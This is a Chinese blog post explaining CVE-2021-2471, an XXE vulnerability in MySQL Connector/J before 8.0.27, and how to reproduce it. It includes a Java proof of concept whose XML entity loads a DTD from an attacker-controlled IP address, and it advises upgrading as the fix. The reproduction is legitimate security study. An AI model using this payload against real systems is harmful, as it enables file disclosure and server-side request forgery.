CVE-2021-2471 Mysql JDBC XXE
2021/10/29 2:11:43
本文主要是介绍CVE-2021-2471 Mysql JDBC XXE,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
漏洞简介
这个漏洞是由于 MySQL JDBC 8.0.27 版本之前,存在 getSource ()方法未对传入的 XML 数据做校验,导致攻击者可以在 XML 数据中引入外部实体,造成 XXE 攻击。
影响版本
MySQL Connector/J 8.0.27 之前
漏洞复现
这里采用的复现环境链接为: https://github.com/SecCoder-Security-Lab/jdbc-sqlxml-xxe
可以看到是mysql-connector-java 8.0.26的版本;
下载mysql-connector-java8.0.26的jar包并导入,下载链接:https://downloads.mysql.com/archives/c-j/
导入过程就不写了。。。
定位到处理XML格式的类com.mysql.cj.jdbc.MysqlSQLXML;
搜索getSource方法,可以看见当执行getSource()方法时,如果输入参数为DOMSource.class时,DocumentBuilder会直接newInstance实例化对象,stringRep会被带入并完成XML解析,没有进行校验和判断,从而导致出现XXE漏洞。
创建数据库test、表tb_test、字段message并插入数据,这里ip是我远程开启http服务的机子,代码中getSQLXML(java.lang.String)方法是用于查询表中字段为message的值,将返回的消息字段通过SQLXML解析为org.h2.jdbc.JdbcSQLXML类的对象:
连接数据库
开启http服务
运行该poc
收到了http请求
这里也可以不使用该复现环境,新建项目文件,导入jar包后,直接写入下面的poc,运行。
代码中setString是MysqlSQLXML继承的SQLXML类中的方法,用于对stringRep变量进行赋值从而被带入DocumentBuilder的实例化对象完成XML解析。
package mysqlxxetest; import java.sql.SQLException; import javax.xml.transform.dom.DOMSource; import com.mysql.cj.jdbc.MysqlSQLXML; public class test { public static void main(String[] args) throws SQLException { MysqlSQLXML myXML = new MysqlSQLXML(null); myXML.setString("<!DOCTYPE foo [<!ENTITY % xxe SYSTEM \"http://192.168.190.130:80/xxe.dtd\"> %xxe;]>"); myXML.getSource(DOMSource.class); } }
可以看见也收到了请求
参考链接:https://github.com/h2database/h2database/issues/3195
https://pyn3rd.github.io/2021/10/22/mysql-jdbc-xxe/
修复方法
官方已发布漏洞补丁及修复版本,升级至安全版本。
这篇关于CVE-2021-2471 Mysql JDBC XXE的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-11-20MySQL集群部署教程:入门级详解
- 2024-11-20MySQL集群教程:入门与实践指南
- 2024-11-20部署MySQL集群教程:新手入门指南
- 2024-11-20MySQL读写分离教程:轻松入门
- 2024-11-20部署MySQL集群入门:一步一步搭建你的数据库集群
- 2024-11-19部署MySQL集群学习:入门教程
- 2024-11-19如何部署MySQL集群:新手入门教程
- 2024-11-19Mysql安装教程:新手必看的详细安装指南
- 2024-11-18Mysql安装入门:新手必读指南
- 2024-11-18MySQL事务MVCC原理入门详解